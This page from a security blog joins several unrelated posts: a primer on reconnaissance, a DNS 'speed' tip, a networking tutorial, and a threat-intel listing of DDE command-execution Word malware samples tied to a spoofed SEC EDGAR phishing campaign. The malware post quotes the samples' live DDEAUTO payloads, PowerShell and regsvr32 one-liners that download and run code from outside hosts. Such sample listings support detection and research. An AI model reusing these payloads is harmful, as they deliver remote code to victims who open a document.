miércoles, 6 de mayo de 2020

RECONNAISSANCE IN ETHICAL HACKING

What is reconnaissance in ethical hacking?
This is the primary phase of hacking where the hacker tries to collect as much information as possible about the target.It includes identifying the target ip address range,network,domain,mail server records etc.

They are of two types-
Active Reconnaissance 
Passive Reconnaissance 

1-Active Reconnaissance-It the process from which we directly interact with the computer system to gain information. This information can be relevant and accurate but there is a risk of getting detected if you are planning active reconnaissance without permission.if you are detected then the administration will take the severe action action against you it may be jail!

Passive Reconnaissance-In this process you will not be directly connected to a computer system.This process is used to gather essential information without ever interacting with the target system.

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HOW TO BOOST UP BROWSING SPEED?

Internet speed is the most cared factor when you buy an internet connection. What if still, you face a slow speed browsing problem? No worries, as I came with a solution to this problem. I will let you know how to boost up browsing speed. It's very simple to follow.

SO, HOW TO BOOST UP BROWSING SPEED?

There can be many ways you can get a speedy browsing whether you use paid service or free hacks. I am going to share this free speed hack with you.

STEPS TO FOLLOW

  1. Navigate to Control Panel > Network and Internet Options > Network and Sharing Center.
  2. Now look for the active internet connection to which you're currently connected to.
  3. Open up Connection Properties of your active connection.
  4. Click on IPv4 and open its Properties.
  5. Here you will notice your DNS, you just need to change your DNS address with the following DNS.
    Preferred DNS server: 208.67.222.222
    Alternate DNS server: 208.67.220.220
  6. Once done, save it and no configure it for IPv6. Just change the IPv6 DNS with the following DNS.
    Preferred DNS server: 2620:0:ccc::2
    Alternate DNS server: 2620:0:CCD::2
  7. Finally, save and you're done with it.
That's all. You have successfully learned how to boost up browsing speed. Hope it will work for you. Enjoy speedy internet..!

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martes, 5 de mayo de 2020

DDE Command Execution Malware Samples






Here are a few samples related to the recent DDE Command execution






Reading:
10/18/2017 InQuest/yara-rules 
10/18/2017 https://twitter.com/i/moments/918126999738175489 


Download


File information
List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload 
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 


File details with MD5 hashes:
Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
 2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e. 

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e " 

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280 
 aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")


7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d  Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a


9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460


10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450


Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
 4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe  Poland payload
09d71f068d2bbca9fac090bde74e762b








Message information


For the EDGAR campaign
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

 Received: from usa2.serverhoshbilling.com (usa2.serverhoshbilling.com [209.90.232.236])
by m0049925.ppops.net with ESMTP id 2dhb488ej6-1
(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT)
for <snip>; Wed, 11 Oct 2017 00:09:20 -0400
Received: from salesapo by usa2.serverhoshbilling.com with local (Exim 4.89)
(envelope-from <EDGAR@sec.gov>)
id 1e28HE-0001S5-Ew
for <snip>; Wed, 11 Oct 2017 00:05:48 -0400
To: <snip>
Subject: EDGAR Filings
X-PHP-Script: roofingexperts.org/wp-content/themes/sp/examples/send_edgar_corps.php for 89.106.109.106, 162.158.90.75
X-PHP-Originating-Script: 658:class.phpmailer.php
Date: Wed, 11 Oct 2017 04:05:48 +0000
From: EDGAR <EDGAR@sec.gov>
Reply-To: EDGAR <EDGAR@sec.gov>
Message-ID: <7608a3de5fe6c9bf7df6782a8aa9790f@roofingexperts.org>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="b1_7608a3de5fe6c9bf7df6782a8aa9790f"
Content-Transfer-Encoding: 8bit
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - usa2.serverhoshbilling.com
X-AntiAbuse: Original Domain - nu.com
X-AntiAbuse: Originator/Caller UID/GID - [658 497] / [47 12]
X-AntiAbuse: Sender Address Domain - sec.gov
X-Get-Message-Sender-Via: usa2.serverhoshbilling.com: authenticated_id: salesapo/only user confirmed/virtual account not confirmed
X-Authenticated-Sender: usa2.serverhoshbilling.com: salesapo
X-Source: /opt/cpanel/ea-php56/root/usr/bin/lsphp
X-Source-Args: lsphp:ntent/themes/sp/examples/send_edgar_corps.php
X-Source-Dir: salesapogee.com:/roofingexperts/wp-content/themes/sp/examples
X-CLX-Shades: Junk
X-CLX-Response: <snip>
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-10-10_08:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=spam policy=default score=99 priorityscore=1501 malwarescore=0
 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0 clxscore=-262
 lowpriorityscore=0 impostorscore=0 adultscore=0 classifier=clx:Junk
 adjust=0 reason=mlx scancount=1 engine=8.0.1-1707230000
 definitions=main-1710110060

This is a multi-part message in MIME format.

--b1_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: multipart/alternative;
boundary="b2_7608a3de5fe6c9bf7df6782a8aa9790f"

--b2_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: text/plain; charset=us-ascii

Important information about last changes in EDGAR Filings


--b2_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: text/html; charset=us-ascii

<b>Important information about last changes in EDGAR Filings</b><br/><br/>Attached document is directed to <snip>



--b2_7608a3de5fe6c9bf7df6782a8aa9790f--

--b1_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document; name="EDGAR_Rules_2017.docx"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=EDGAR_Rules_2017.docx

<snip>


--b1_7608a3de5fe6c9bf7df6782a8aa9790f--


for 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx

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Networking | Switching And Routing | Tutorial 3 | 2018


Welcome to my 3rd new tutorial of networking (Routing and Switching). In this blog you will able to watch an interesting video about basic device navigation such as changing device (router or switch) name, configuration of login password, configuring a device information, router IP addresses and many more.

What is router?

Router is a network layer device which is the 3rd layer in the OSI model which is used to communicate different networks. It is an intelligent device fixed at the boundary of network that connects to other networks and responsible for end to end delivery of the packet that requires an IP address which is known as the logical address which is the basic identity of the device just like our identity card number or roll number and so on, for the identification of source and destination devices. Router is the gateway of the network having two interfaces such as inbound and the outbound interface through which the traffic comes in from different networks and comes out traffic to the different networks.

What is an IP address?

Internet protocol (IP) address is a numeric label given to each and every device in the network for the identification of the device just like our roll numbers in collages, universities which identity each and every student uniquely everywhere. So same concept here, it is a logical address which is used whenever the device want to communicate outside the network that means to another network.

What is Switch?

Switch is basically layer 2 device, which is used to connect two or more than two devices with each other in the same network. It is an intelligent device which doesn't allow the broadcast. It requires Media access control (MAC) address to communicate within the network. Now let's move to the video for further.